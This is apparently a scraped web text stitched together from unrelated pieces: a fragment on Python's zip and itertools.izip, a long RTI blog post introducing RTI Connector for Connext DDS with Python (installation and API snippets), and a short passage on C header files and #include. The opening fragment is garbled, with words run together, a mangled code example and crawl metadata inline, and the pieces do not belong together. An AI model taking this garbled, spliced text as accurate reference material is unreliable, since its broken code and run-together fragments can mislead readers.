itertools.izip in Python2. To get a listof tuples, use
list(zip(foo, bar)). And to zip until both iterators areexhausted, you would useitertools.zip_longest.
Python 2
In Python 2,
zipreturns a list of tuples. This is fine when
foo and
bar are not massive. If they are both massive then forming
zip(foo,bar) is an unnecessarily massivetemporary variable, and should be replaced by
itertools.izip or
itertools.izip_longest, which returns an iterator instead of a list.
import itertoolsfor2 blue stilton3 green brie | https://codehunter.cc/a/python/how-to-iterate-through-two-lists-in-parallel | CC-MAIN-2022-21 | refinedweb | 123 | 70.39 |
Hello hive mind,
I have been trying to automate a process that I do for flu sequencing. I currently use SPAdes to do a de novo build and then blast the contigs using the ncbi command line, remotely. I get back a tab delimited csv file that has the contig, the sequence id, the ncbi acc # and the raw score.
I have working a small script to pull just flu contigs
import re import csv import sys with open(sys.argv[1], newline="") as csv_file, open("flu_hits.csv","w") as justFlu: reader = csv.reader(csv_file, delimiter="\t") writer = csv.writer(justFlu, delimiter="\t") for row in reader: if re.match(r'influenza',row[1], re.I) != None: writer.writerow(row)
this works just fine, however now I want to take the flu file and select the best match for each contig so I can make a list of the accession numbers to later then use to pull from ncbi to make a reference.
My current issue is trying to pull the highest score. I have some code (below) that is working but not the way I want. It is only returning the highest score from all the contigs not the highest score for each contig.
with open(sys.argv[1], newline="") as csv_file, open("temp.csv","w") as subset: reader = csv.reader(csv_file, delimiter="\t") writer = csv.writer(subset, delimiter="\t") for row in reader: if row[0] in NodeList: writer.writerow(row) with open("temp.csv", "r") as temp: subset_reader = csv.reader(temp, delimiter="\t") BestHit = max(subset_reader, key=lambda column: int(column[-1].replace(',',''))) print(BestHit)
I do this manually now but it take a lot longer than it should, so I would really appreciate any direction with this.
Thank you in advance, Sean
Blast parser in biopython?
see, this is why I come here. I may have been doing this the hard way | https://www.biostars.org/p/292071/ | CC-MAIN-2018-13 | refinedweb | 316 | 76.52 |
AWS Security Blog the method call into a signed request to AWS.
The AWS SDK team has recently made some changes that make it more convenient, more consistent, and easier to specify credentials for the SDKs in a more secure way. In this post, we’ll review the changes.
Overview
In outline, all of the AWS SDKs now use a standard approach for how to manage credentials. This includes the AWS command-line interface (CLI) and the AWS Tools for Windows PowerShell. To configure credentials, you can do this:
- Keep them in a set of environment variables that have standard names for all SDKs. The .NET SDK is an exception here, as I’ll explain shortly.
- Keep them in a central credential file that is shared by all the SDKs. And in that credentials file, now you can …
- … use profiles. You can keep multiple sets of credentials in the same credentials files using different profile names. When you initialize a connection to AWS in code, you can specify the set of credentials you want to use.
Some of these options were available previously, but differed between SDKs. For example, different SDKs used different environment variable names, and the location and format of credentials files differed between SDKs. Now, with only one exception, you can choose any of these approaches, and whatever you do will work for all the SDKs. Once you’ve configured one SDK or the CLI, you can use the same credentials for any other.
Environment Variables
All the SDKs except the .NET SDK now can automatically look for credentials in the same environment variables:
AWS_ACCESS_KEY_ID and
AWS_SECRET_ACCESS_KEY. If you’re working with temporary security credentials, you can also keep the session token in
AWS_SESSION_TOKEN.
Credentials File and Profiles
Instead of keeping credentials in environment variables, you can now put credentials into a single file that’s in a central location. The default location is this:
- ~/.aws/credentials (Linux/Mac)
- %USERPROFILE%.awscredentials (Windows)
An important point is that the default location for the credentials file is a user directory. It’s no longer part of a project file structure, such as an app.config file (.NET) or .properties file (Java). This can enhance security by allowing you to keep the credentials in a location that’s accessible only to you, and it makes it less likely that you’ll inadvertently upload credentials if you upload a project to a developer sharing site like GitHub.
The format for the credentials is the same for all the SDKs and the AWS CLI:
[default] aws_access_key_id = ACCESS_KEY aws_secret_access_key = SECRET_KEY aws_session_token = TOKEN
(The
aws_session_token value is needed only if you’re including temporary security credentials in the file.)
As noted, you can keep multiple sets of credentials in the same file, identifying each set using a profile name, like the following example. I’ll discuss how to use these profiles shortly.
[default] aws_access_key_id = ACCESS_KEY aws_secret_access_key = SECRET_KEY aws_session_token = TOKEN [Alice] aws_access_key_id = Alice_access_key_ID aws_secret_access_key = Alice_secret_access_key [Bob] aws_access_key_id = Bob_access_key_ID aws_secret_access_key = Bob_secret_access_key
For additional security of the credentials file, you can set the file’s permissions to make sure that only the owner is allowed to access the file. In Linux, use
chmod 600 to set owner-only permissions. In Windows, use the Properties window or use the icacls command.
Using the SDK Store for .NET and Windows PowerShell
If you use the .NET SDK or the AWS Tools for Windows PowerShell, instead of using environment variables or the centralized credentials file, you store credentials in the SDK Store. This option keeps encrypted credentials in your user folder. As with the credentials file, you can store multiple sets of credentials using different profile names. You can manage the SDK Store in two ways: using a graphical interface that’s part of the AWS Toolkit for Visual Studio, or using PowerShell commands.
Reading Credentials at Run Time
Once you’ve got the credentials configured, the SDKs can find them and use them automatically—you don’t need to explicitly reference the credentials in your code at all. For example, in the following line of Java code, when you initialize the
AmazonEC2Client instance, the SDK finds the access keys you’ve configured and uses them for subsequent method calls that you make on the
client instance.
AmazonEC2Client client = new AmazonEC2Client();
If you use code like this, the SDKs look for the credentials in this order:
- In environment variables. (Not the .NET SDK, as noted earlier.)
- In the central credentials file (~/.aws/credentials or %USERPROFILE%.awscredentials).
- In an existing default, SDK-specific configuration file, if one exists. This would be the case if you had been using the SDK before these changes were made.
- For the .NET SDK, in the SDK Store, if it exists.
- If the code is running on an EC2 instance, via an IAM role for Amazon EC2. In that case, the code gets temporary security credentials from the instance metadata service; the credentials have the permissions derived from the role that is associated with the instance.
To be clear, although the .NET SDK doesn’t automatically include environment variables in its lookup hierarchy, you can read environment variables using a .NET method like
Environment.GetEnvironmentVariable. You might do this if you’re working with multiple AWS SDKs and want to use the same credentials across SDKs.
Specifying Credentials Using a Profile Name
If you don’t pass any credential information during initialization, and if the credentials are not found in the known environment variables, the SDKs look for credentials in the central credentials file. In that file, the SDKs look for a profile named [default] and use those credentials. This profile must exist in the file. As an alternative to having a [default] profile, you can point to a specific profile in these ways:
- By setting the
AWS_PROFILEenvironment variable to the profile you want to use.
- In .NET, by adding an
AWSProfileNamekey in the
appSettingselement in web.config or app.config file, like this:
<configuration> <appSettings> <add key="AWSProfileName" value="my_profile_name"/> </appSettings> </configuration>
- In PHP, by creating the following array in the aws-config.php file or in a custom .php config file:
<?php return array( 'includes' => array('_aws'), 'services' => array( 'default_settings' => array( 'params' => array( 'profile' => 'profile_name', ... ) ) ) );
Or you can read credentials from a profile in code. To do that, you include the profile name when you initialize the connection to AWS. The exact way you do this depends on what language you’re using, as shown in the following examples.
Java
AmazonEC2Client client = new AmazonEC2Client(new ProfileCredentialsProvider("my_profile_name"));
C#
AmazonEC2Client client = new AmazonEC2Client(new StoredProfileAWSCredentials("my_profile_name"));
Ruby Version 2
credentials = Aws::SharedCredentials.new(profile_name: ‘my_profile_name’) Aws::EC2::Client.new(credentials: credentials)
Ruby Version 1
provider = AWS::Core::CredentialProviders::SharedCredentialFileProvider.new(profile_name: "my_profile_name") client = AWS::EC2.new(credential_provider: provider)
Python
import boto from boto import ec2 ec2 = boto.ec2.connect_to_region('us-west-2', profile_name='my_profile_name')
PHP
$client = EC2Client::factory(array( 'profile' => 'my_profile_name' ));
Node.js
// To set globally AWS.config.credentials = new AWS.SharedIniFileCredentials({ profile: 'my_profile_name' }); // To set for a particular service client var creds = new AWS.SharedIniFileCredentials({ profile: 'my_profile_name' }); var client = new AWS.EC2({ credentials: creds });
What About My Existing Code and Configuration?
For backward compatibility, the AWS SDKs continue to support the configuration options you might have used previously. For example, the SDKs will use a local configuration file if your project has one. And of course, if you’ve hard-coded an access key into your code, it will still work—although we strongly recommend that you remove any embedded credentials in your code or in project-specific configuration files.
If you’ve been using the AWS CLI, you might already have a credentials file, which is in the same location as the new credentials file, but is named config. If so, the CLI will continue to use that file. However, if you create a new credentials file, the CLI will use that one instead. (Be aware that the
aws configure command that you can use to set credentials from the command line will put the credentials in the config file, not the credentials file.)
Conclusion
The new credentials management scheme is both more convenient and can help make credentials more secure. After you’ve installed the most recent version of your favorite AWS SDK or the AWS CLI, you can begin using the new scheme immediately. And if you’ve got existing applications that use embedded credentials or local configuration, we strongly urge you to update those to use the new scheme.
If you have questions, please post them to the AWS Forum.
More Information
For additional information about managing credentials in the AWS SDKs, see the following:
- Configuring AWS Credentials in the AWS SDK for .NET Developer Guide.
- Set up your AWS Credentials for Use with the SDK for Java
- Providing Credentials to the SDK in the AWS SDK for PHP documentation.
- Set up your AWS Credentials for Use with the SDK for Ruby
- Using AWS Credentials in the AWS Tools for Windows PowerShell User Guide.
- AWS Credentials in the AWS Command Line Interface User Guide.
- Setting AWS Credentials in the AWS SDK for JavaScript (node.js) documentation.
– Mike | https://aws.amazon.com/blogs/security/a-new-and-standardized-way-to-manage-credentials-in-the-aws-sdks/ | CC-MAIN-2018-13 | refinedweb | 1,517 | 55.74 |
In this tutorial, we will design a digital temperature sensor using LM35 sensor and PIC16F877A microcontroller. Unlike the previous posts, we will use 7-segment displays to print measured temperature values in the Celsius scale. You can use other types of temperature sensors also. This is also known as a digital thermometer with a seven-segment display. You can read our last tutorial where we used 16X2 LCD to print temperature using PIC16F877A microcontroller.
Prerequisites
In order to completely understand the LM35 temperature sensor with 7-segment, you should have some basic background of PIC microcontroller features such as the ADC module and 7-segment displays interfacing with Pic microcontroller. Therefore, I recommend reading these posts:
- 7-Segment displays Interfacing with Pic Microcontroller
- How to use PIC Microcontroller ADC Module (This post helps you understand how to capture analog signals with PIC16F877A microcontroller. Because LM35 temperature sensor provides analog output)
LM35 Temperature Sensor Introduction
Let’s begin with the introduction of an LM35 temperature sensor. It provides temperature in the range of -55°C to 150°C. Furthermore, it supports a wide operating voltage range between -2 to 35 volts. But we usually use volts supply while interfacing with microcontrollers such as PIC16F877A. On top of these features, it draws only 60uA current and temperature accuracy is ±0.5°C .
Pinout Diagram
This picture shows the pinout diagram of LM35 temperature sensor. It consists of three terminals which makes it easy to use with microcontrollers.
Pin description is given in the table below:
How to convert output voltage into temperature?
Its output is analog voltage. Most importantly, output voltage and temperature are directly proportional to each other and response of sensor is linear. That means that the voltage on output pin rise linearly with respect to temperature surrounding. This equation is used to determine the correlation between output voltage and temperature:
1°C = 10mv
Above equation simply means that for every 10mV increase in output voltage there will be 1 degree increase in temperature. In other words, whenever, the temperature of surrounding rise by 1°C, the output voltage also increases by 10mV.
Hence, if we can compute output voltage of LM35 temperature sensor, we can convert it into temperature (degrees Celsius) by using above equation. Therefore, we rewrite above equation like this:
1mv = 1/10 degree Celsius 1v = 100 degree Celsius
For example, if the output voltage of LM35 temperature sensor is 225mv. Therefore, according to above equation, the temperature value is 22.5 degree Celsius.
LM35 Based Digital Thermometer Circuit diagram
This circuit diagram shows the connection between the LM35 temperature sensor, PIC16F877A microcontroller, and 4-digit seven-segment display. You should make connections according to this schematic and if you want to change pins, you should also make changes in the code. But do it only if you fully understand the interfacing circuit and program.
Connection between LM35 and PIC16F877A Microcontroller
We will use PIC16F877A microcontroller in this project. It has a built-in ADC module and each analog to digital converter channel is of 10-bit. That means it can measure a minimum voltage of 4.88mV which is less than 10mV. Hence, we can easily measure 10mV with ADC of PIC16F877A microcontroller without using any amplifier circuit. Because the minimum voltage that we can measure with PIC16F877A ADC is more than the two times the minimum voltage output of LM35 temperature sensor. Therefore, we do not require any interfacing circuit between temperature sensor and PIC16F877A microcontroller.
For further information on how to use PIC microcontroller ADC, read this article:
- How to use PIC Microcontroller ADC Module
Connection with 4-digit 7-segment display
As you can depict from above circuit diagram, We connected PORTD 8 pins from RD0-RD8 with a-g segments of 4-digit 7-segment display. Because we send display codes to each seven segment from microcontroller GPIO pins and also four control lines to select seven-segment digit.
We use four-digit 7-segment display. Because we want to print both decimal and fractional values of temperature. 4-digit display can print numbers between 0-9999. Hence, we will use two 7-segments to display decimal value and remaining two for printing fractional values.
Here we used pin multiplexing method to control four 7-segments with 7 GPIO pins of PIC16F877A microcontroller. If we do not use multiplexing method, we will need 7×4=28 pins to interface with PIC16F877A microcontroller. But it will be wastage of microcontroller GPIO pins and also not all pic microcontroller have that too many pins available. Hence, by using multiplexing method, we can save almost 16 GPIO pins of microcontroller and we can drive 4-digit 7-segment device with 12 pins only.
- 7 pins for a-g and one for dp
- 4 pins for common anode or common anode terminal of 7-segments.
Now make the connections of 4-digit seven-segment with PIC16F877A microcontroller according to this table:
To explore further on 7-segments displays interfacing and how to achieve multiplexing, you can read this in-depth guide:
- Interfacing 7-Segment displays with Pic Microcontroller name to each control signal for 7-segment sbit digit1 at PORTB.B0; sbit digit2 at PORTB.B1; sbit digit3 at PORTB.B2; sbit digit4 at PORTB.B}; // without Dp turn unsigned char display1[10]= {0xBF,0x86,0xDB,0xCF,0xE6,0xED,0xFD,0x87,0xFF,0xE7}; // with dp turn on // variables to store digits, digital value and output voltage unsigned int a1,a2,a3,a4; // temporary variables to store data of adc int adc_value; //store output value from Analog Read functoion unsigned int number; long tlong; unsigned int voltage; // this function retrive each digita that will displayed on device void get_digits() { a1 = voltage / 1000u; // holds 1000's digit a2 = ((voltage/100u)%10u); // holds 100's digit a3 = ((voltage/10u)%10u); // holds 10th digit a4 = (voltage%10u); // holds unit digit value } // this function displays measured voltage on seven-segments void display_voltage() { } void interrupt() { get_digits(); // call function to split data display_voltage(); //call display_data() function to output value to seven segment T0IF_bit = 0; // clear source of timer0 interrupt } void main(void) { TMR0 = 0; // timer0 reset bit OPTION_REG = 0x83; // select prescalar value 1:16 for timer0 INTCON = 0xA0; // turn on global interrupt and timer0 overflow interrupt TRISD = 0x00; //define PORTD as a output pin PORTD=0x00; // initialize PORTD pins to active low TRISB=0x00;// Set PORTB as a output port // set control pins pins initially active high digit1 = 1; digit2 = 1; digit3 = 1; digit4 = 1; while(1) { adc_value = ADC_Read(0); // read data from channel 0 tlong = (float)adc_value*4.88768555; //converts voltage into temperature voltage = tlong; } }
How code works?
The working of a digital temperature sensor with a 7-segment display code is the same as the working of the digital dc voltmeter project with 7-segment display. The only difference is the conversion of voltage into temperature.
First we start by defining RA0/AN0 pin of PIC16F877A microcontroller as an analog pin. This line reads output volage of LM35 temperature sensor and store its value inside a “adc_value” variable.
adc_value = ADC_Read(0); // read data from channel 0
After that, we should convert ADC measured digital value into temperature. We multiply the adc_value variable with ‘4.88768555’. Here 4.88768555 comes from (5 x 1000) /1023. Here 5000/1023 converts the voltage into millivolts and again divided by 10 will get us a temperature value. Because of 10mv=1 degree celsius.
tlong = (float)adc_value*4.88768555; //converts voltage into temperature
We define a global variable “voltage” that will be used to split data for each digit and print its value on a 7-segment display. This line stores the value of “tlong” in “voltage” variable. Global variables are defined when we want to use them anywhere in the whole program. Hence we can use “voltage” anywhere in the program.
voltage = tlong;
Proteus Simulation
We used proteus simulation software to simulate this circuit. As you can observe from this circuit, as soon as we are changing temperature sensor value, PIC16F877A microcontroller outputs temperature sensor value on four digit 7-segment display..
#include <xc char display1[10]= {0xBF,0x86,0xDB,0xCF,0xE6,0xED,0xFD,0x87,0xFF,0xE7}; // with dp turn on unsigned int a1,a2,a3,a4; unsigned int counter = 0; int adc_value; //store output value from Analog Read functoion unsigned int number; long tlong; unsigned int voltage; void Analog_setting(){ ADCON0 = 0x81; ADCON1 = 0x02; } unsigned int Analog_read(unsigned char channel){ int aadc,bbdc, ccdc; if(channel>7)return 0; ADCON0 = ADCON0 & 0xC5; ADCON0 = ADCON0 | (channel << 3); __delay_ms(2); ADCON0bits.GO_DONE = 1; while(ADCON0bits.GO_DONE); aadc = ADRESH; aadc = aadc<<2; bbdc = ADRESL; bbdc = bbdc >>6; ccdc = aadc|bbdc; return ccdc; } void main(void) { Analog_setting(); TRISD = 0x00; //define PORTD as a output pin PORTD=0X00; // initialize PORTD pins to active low TRISB=0X00; digit1 = 1; digit2 = 1; digit3 = 1; digit4 = 1; while(1) { adc_value = Analog_read(0); // read data from channel 0 tlong = (float)adc_value*4.88768555; voltage = tlong; a1 = voltage / 1000; // holds 1000's digit a2 = ((voltage/100)%10); // holds 100's digit a3 = ((voltage/10)%10); // holds 10th digit a4 = (voltage%10); // holds unit digit value } return ; }
3 thoughts on “LM35 Temperature Sensor with 7-Segment Display using Pic Microcontroller”
Please note down the 10ms delay function for pic 16f877a.
Hello, I am Hassan
I would like to thank you for your useful site
Please Make a LM35 Temperature Sensor with 7-Segment Display using Pic Microcontroller Nagetive Temperature..Please upload.. | https://microcontrollerslab.com/lm35-temperature-sensor-with-7-segment-display-pic-microcontroller/ | CC-MAIN-2021-39 | refinedweb | 1,575 | 50.87 |
Write a program to replace spaces in a string with %20
Approach to replace spaces in a string with %20Typically in this problem we are expected to use optimal memory. This requires that we extend the memory where we hold the input string. We start by counting the number of spaces in the input string. Then we compute the new size required (2 * spacecount + length) and extend the input string for the extra space required. As the final step scan the input string from the last and if a space is encountered insert %20. That way we use memory optimally and don't overrun the input string.
C++ program to replace space in a string with %20
#include <iostream> #include <string> #include <string.h> using namespace std; int main() { char str[] = "this is a test string"; int spacecount = 0; int length = strlen(str); for ( int i = 0; i < length; i++ ) { if ( str[i] == ' ' ) spacecount++; } int new_size = 2 * spacecount + length; str[new_size] = '\0'; for ( int i = length - 1; i >= 0; i-- ) { if ( str[i] == ' ' ) { str[new_size-1] = '0'; str[new_size-2] = '2'; str[new_size-3] = '%'; new_size = new_size - 3; } else { str[new_size-1] = str[i]; new_size = new_size - 1; } } cout << str << endl; }Output:-
this%20is%20a%20test%20string
This comment has been removed by a blog administrator.
toms shoes
coach outlet
true religion jeans
parada handbags
coach factory outlet
coach outlet
michael kors outlet
ugg outlet
louis vuitton outlet
beats earbuds
20170111 | http://www.sourcetricks.com/2012/07/replace-spaces-in-string-with.html | CC-MAIN-2017-04 | refinedweb | 239 | 63.63 |
import "go.chromium.org/luci/common/trace"
Package trace provides support for collecting tracing spans.
It decouples spans collection from the system that actually uploads spans. So it tracing is not needed in a binary, there's almost 0 overhead on it..
SetBackend installs the process-global implementation of the span collector.
May be called at most once (preferably before the first StartSpan call). Panics otherwise. }
Backend knows how to collect and upload spans.
NullSpan implements Span by doing nothing.
Attribute does nothing.
End does nothing..
SpanKind is an enum that defines a flavor of a span.
const ( SpanKindInternal SpanKind = 0 // a span internal to the server SpanKindClient SpanKind = 1 // a span with a client side of an RPC call )
Package trace imports 4 packages (graph) and is imported by 19 packages. Updated 2020-07-02. Refresh now. Tools for package owners. | https://godoc.org/go.chromium.org/luci/common/trace | CC-MAIN-2020-29 | refinedweb | 142 | 60.21 |
- 0shares
- Facebook0
- Twitter0
- Google+0
- Pinterest0
- LinkedIn0
C++ Standard Library:
There are many functions in C++ programming language that are built in and are defined by C++ standard library. Some of these functions are; getche (), cout, cin, getch (), etc.
These functions are used by including their header files in the program. And all are defined by the standard C++ library.
All data types, mathematic function, strings, file input/output, memory allocation, date and time, signals and input and output functions are defined in the standard library.
The header file for input/output function is <iostream.h> in console application and <iostream> in visual C++. In visual C++ when using iostream, we use “using namespace std” also. | http://www.tutorialology.com/cplusplus/cplusplus-standard-library/ | CC-MAIN-2017-22 | refinedweb | 116 | 65.73 |
Terry Hancock wrote: >>calad.sigilon at gmail.com wrote: >>>One of these two ways you're not supposed to use for >>>security reasons, but I'm spacing on which one. > > It's not a question of "security" in the usual sense, but > the first syntax imports a lot of stuff into the current > namespace, increasing the risk of unintentionally clobbering > local names. So it's certainly "riskier" in the sense of > "likely to cause bugs". There's also the case where the names which are imported are not static. That is, they are bound to certain objects at the time of the "import *" but later on they can change. While this is perhaps a sign of design problems in the imported module, the problem that results is that when those names are rebound, modules which imported them with "*" still have the old objects, not the new ones. Using "import module" and referencing things with "module.name" doesn't suffer from the same potential for problems (in addition to it being more readable etc). -Peter | https://mail.python.org/pipermail/python-list/2005-November/333079.html | CC-MAIN-2017-04 | refinedweb | 174 | 63.19 |
SizeFS 0.2.7
SizeFS is a mock filesystem for creating files of particular sizes with specified contents.
A mock Filesystem that exists in memory only and allows for the creation of files of a size specified by the filename.
For example, reading a file named 128M+1B will return a file of 128 Megabytes plus 1 byte, reading a file named 128M-1B will return a file of 128 Megabytes minus 1 byte
Within the filesystem one level of folders may be created. Each of these folders can have its extended attributes set to determine the default contents of each file within the folder. The attributes of individual files may be overridden, and, when mounted as a filesystem using fuse, should be set using ‘xattr’ for OS X, or ‘attr’ for Linux. The attributes are described below in the ‘Extended Usage’ section.
Files may only be created within the folders and can only be named with a valid size descriptor. The names of the files should be a number followed by one of the letters B, K, M, G, T, P or E (to mean bytes, kilobytes, megabytes …). Optionally an addition or subtraction may be specified to modify the base size of the file.
Examples of valid filenames:
100K - A 100 kilobyte file. 4M - A 4 megabyte file. 2G-1B - A file 1 byte smaller than 2 gigabytes. 100K+10K - A file 10 kilobytes larger than 100 kilobytes. 10E - A ten exabyte file (yes really!)
File contents are generated as they are read, so it is entirely possible to ‘create’ files that are larger than any available RAM or HD storage. This can be very useful for testing large external storage systems, and the +/- operations are useful for exploring file size limitations without having to specify a file size as a huge number of bytes. The contents of each file are specified by a set of regular expressions that are initially inherited from the containing folder.
Example Usage - SizeFS
Create Size File objects in memory:
from sizefs import SizeFS sfs = SizeFS() sfs.open('/1B').read() sfs.open('/20B').read(20) sfs.open('/2K').read(1024) sfs.open('/128K').read(1024*128) sfs.open('/4G').read(4*1024*1024)
The folder structure can be used to determine the content of the files:
sfs.open('/zeros/5B').read(5) out> 00000 sfs.open('/ones/5B').read(5) out> 11111 sfs.open('/alpha_num/5B').read(5) out> TMdEv
Extended Usage - SizefsFuse
The folders ‘ones’, ‘zeros’ and ‘alpha_num’ are always present, but new folders can also be created. When files are created in a folder, the xattrs of the folder determine that file’s content until the file’s xattrs are updated:
from sizefs.sizefsFuse import SizefsFuse sfs = SizefsFuse() sfs.mkdir('/regex1', None) sfs.setxattr('/regex1', 'generator', 'regex', None) sfs.setxattr('/regex1', 'filler', 'regex', None) print sfs.read('/regex1/5B', 5, 0, None) out> regex sfs.setxattr('/regex1/5B', 'filler', 'string', None) print sfs.read('/regex1/5B', 5, 0, None) out> string sfs.setxattr('/regex1/5B', 'filler', 'a{2}b{2}c', None) print sfs.read('/regex1/5B', 5, 0, None) out> aabbc
Files can also be added to SizeFS without reading their contents using sfs.create():
sfs.mkdir('/folder', None) sfs.create('/folder/5B', None) print sfs.read('/folder/5B', 5, 0, None) out> 11111
And as discussed above, the name of the file determines its size:
# Try to read more contents than the files contains print len(sfs.read('/regex3/128K', 256*1000, 0, None)) out> 128000 # Try to read more contents than the files contains print len(sfs.read('/regex3/128K-1B', 256*1000, 0, None)) out> 127999 # Try to read more contents than the files contains print len(sfs.read('/alphanum/128K+1B', 256*1000, 0, None)) out> 128001
The ‘generator’ xattr property defines the file content and can be set to one of:
ones - files are filled with ones zeros - files are filled with zeros alpha_num - files are filled with alpha numeric characters regex - files are filled according to a collection of regular expression patterns
We can set up to 5 properties to control the regular expression patterns:
prefix - defined pattern for the start of a file (default = "") suffix - defined pattern for the end of a file (default = "") filler - repeating pattern to fill file content (default = 0) padder - single character to fill between content and footer (default = 0) max_random - the largest number a + or * will resolve to
Where ‘prefix’, ‘suffix’, ‘filler’, and ‘padder’ conform to the following grammar:
<Regex> ::= <Pattern> <Pattern> ::= <Expression> | <Expression> <Pattern> <Expression> ::= <Char> [<Multiplier>] | "(" <Pattern> ")" [<Multiplier>] | "[" <Set> "]" [<Multiplier>] <Multiplier> ::= "*" | "+" | "?" | '{' <Num> '}' <Set> ::= <Char> | <Char> "-" <Char> | <Set> <Set>
If the requested file sizes are too small for the combination of header, footer and some padding, then a warning will be logged, but the file will still return as much content as possible to fill the exact file size requested.
The file contents will always match the following pattern:
^prefix(filler)*(padder)*suffix$
The generator will always produce a string containing the prefix and suffix if a file of sufficient size is requested. Following that, the generator will fill the remaining space with ‘filler’ generated as many times as can be contained. If a filler pattern is generated that does not fit within the remaining space the remainder is filled using the (possibly incomplete) padder pattern. The padder pattern will only be used if a complete filler pattern will not fit in the space remaining.
‘max_random’ is used to define the largest random repeat factor of any + or * operators.
Random seeks within a file may produce inconsistent results for general file contents, however prefix and suffix will always be consistent with the requested pattern.
Testing
Requires nose
From the command line:
nosetests
Mounting as a filesystem
Mac Mounting -
Usage: sizefs.py [--debug] <mount_pount> sizefs.py --version Options: --debug Debug -h --help Show this screen. --version Show version.
- Downloads (All Versions):
- 14 downloads in the last day
- 143 downloads in the last week
- 531 downloads in the last month
- Author: Mark McArdle
- Download URL:
- Keywords: testing,files,size
- License: LICENSE.txt
- Package Index Owner: mmcardle
- DOAP record: SizeFS-0.2.7.xml | https://pypi.python.org/pypi/SizeFS/0.2.7 | CC-MAIN-2015-27 | refinedweb | 1,023 | 53.31 |
Introducing RTI Labs and Connector for Connext DDS with Python
Written by Gianpiero Napoli
October 20, 2017
This week we are thrilled to announce RTI Labs, a free program that provides our customers with early access to new technology we are developing for the Industrial IoT. We are calling them experimental projects. Customers who take advantage of RTI Labs have the opportunity to leverage next-generation technology and influence our product roadmap by providing feedback on the experimental features. It’s a win-win situation!
We are launching the program with three new experimental projects, the first being RTI (R) Connector for Connext DDS. If you’ve already downloaded RTI Connext 5.3.0 and started the RTI Launcher, you will see a few new icons in the ‘Lab’ tab. One of these icons is for Connector.
Clicking the Connector icon will take you to the RTI Connector page on the Community Portal. Connector was developed by RTI’s Research Team to help with creating demos and quick testing. Connector started with the Lua interface to RTI Prototyper, and then we got carried away and added support for scripting languages, like Python and JavaScript/node.js.
But What is RTI Connector?
RTI Connector for Connext DDS is a quick and easy way to access the power and functionality of RTI Connext DDS from a variety of different scripting languages including JavaScript, Python and Lua. It builds on several powerful capabilities of Connext DDS, including XML App Creation and Dynamic Data.
This blog post focuses on the python interface of RTI Connector, but most of the concepts apply as easily to JavaScript/node.js and to lua/prototyper.
Use Cases
There are many use cases for RTI Connector. Some of the use cases from early adopters include:
- Testing: oftentimes when you’re developing a complex distributed system, some of the components may not be ready; In this case, Connector is used to emulate the behavior of a DDS component that will be completed later or by another group. This allows you to test components in isolation –which is valuable either when you are working on a distributed team, or when you don’t want to wait until every component is built before testing.
- Prototyping: In software development it is often required to validate an idea before all of the details are available. Using a scripting languate like python and a simplified DDS API, make it very simple and quick to develop a demo or a proof of concept – using an order of magnitude less code!
- User interfaces: developing simple UIs (visualizing or sending DDS data using buttons and simple triggers) becomes really easy when the RTI Connector is paired with UI technology available for python, such as python QT.
- Integration: Python, and other scripting languages, comes with a humongous ecosystem. At the time this blog was written, PyPl had 112,439 packages. If you are trying to integrate something, there is a good chance that there is a python package that will help you and now you can use Connector to talk DDS!
-
Try It Out!
In this blog post we assume you have some familiarity with python. RTI Connector works both with python 3 and < 3. It is supported on all the major enterprise systems and also on boards like the Raspberry Pi. You can see the list of available platforms here. If you need support for something else do not hesitate to ask on the forum. To install RTI Connector for Connext DDS in python you can use the package available on PyPI:
pip install rticonnextdds_connector
Another way is to just clone the repository:
git clone
In the repository you will also find some examples to get you started:
- simple/writer.js: shows how to create a writer, set an instance and publish samples.
- simple/reader.js: demonstrates how to get a reader, get samples and access the content of them.
- simple/read_and_write.py: shows how to write a sample for each one received after inverting two fields.
- mixed/: these examples are updated periodically and contain different examples on how to access the length of a sequence, how to use wait() and more.
API Overview
Let’s see what the API looks like. If you’d like more detailed information, you can view the README in our GitHub repository.
The first thing to do is to import the RTI Connector library:
import rticonnextdds_connector as rti
After you have a reference to RTI Connector, you can call the API to create a new Connector:
connector = rti.Connector("MyParticipantLibrary::Zero","./ShapeExample.xml");
The first string is the name of the configuration you want to use, while the second string is the XML file containing the XML-Base App Creation configuration. You can see an example of that file here.
Once the connector is created, you can access all the Data Writers using the getOutput API:
output = connector.getOutput("MyPublisher::MySquareWriter")
or you can access the Data Readers in the same way:
input = connector.getInput("MySubscriber::MySquareReader");
Both APIs get one string as a parameter representing the name of the entity as it was defined in the XML file.
Once you have a reference to the Data Writer (output in our example), you can set the fields of the associated instance. You can do that passing a dictionary:
output.instance.setDictionary(sample);
or by setting each field individually:
output.instance.setNumber("y", 2);
On the Data Reader side (input in this example), you can call read or take:
input.read();
or
input.take();
Then, you can iterate through the samples received:
numOfSamples = input.samples.getLength();
for j in range (1, numOfSamples+1):
if input.infos.isValid(j):
x = input.samples.getNumber(j, "x");
y = input.samples.getNumber(j, "y");
....
A sample can be accessed in two ways. As a dictionary:
sample = input.samples.getDictionary(j);
or field by field:
y = input.samples.getNumber(j, "y");
size = input.samples.getNumber(j, "shapesize");
Remember to protect the access to your Connector if you use multithreading libraries. You can find an example on how to do this here.
All of This Power Comes with Boundaries
RTI Connector is great and it can solve a lot of challenges! But, as everything, it is not perfect for everything. It has a limited set of APIs: some things that you can do with Connext DDS Pro cannot be done with the RTI Connector. It only works with Dynamic Data and not with compiled types. To make it simple to use and to port we made some assumptions having specific use cases in mind, it may not solve your specific use case or it may not be the most efficient way to solve it, but we probably have another tool or service for your specific issue: just ask us!
How Much?
You might be wondering what this technology will cost … it’s free!! You can just get it and experiment with it. All we ask is that you give us your feedback and suggestions. This feedback will be considered while we’re prioritizing updates and features to include in our future product releases – so you could help influence our roadmap!
Conclusion
This blog is just an introduction to our RTI Connector for python. If you are interested, the best way to learn is to try it out. Let us know if you have any doubts or questions on the RTI Community Forum, and we will be happy to help you out! If you like it and you have suggestions or ideas for improvements, feel free to contact us; we are looking for feedback while deciding what’s next... | https://www.rti.com/blog/introducing-rti-labs-and-connector-for-connext-dds-with-python | CC-MAIN-2019-18 | refinedweb | 1,269 | 62.98 |
Another component common to C programs is the header file. This supplies information about the standard library functions. These files all end with the .h extension and are added to the program using the #include pre-processor directive. All C compilers use a pre-processor as their first phase of compilation to manipulate the code of the source file before it is compiled.
Pre-processor directives are not actually part of the C language, but rather instructions from you to the compiler. The #include directive tells the pre-processor you want to read another file and include it with your program.
The most commonly required header file is stdio.h. The directive to include this file is:
#include <stdio.h>
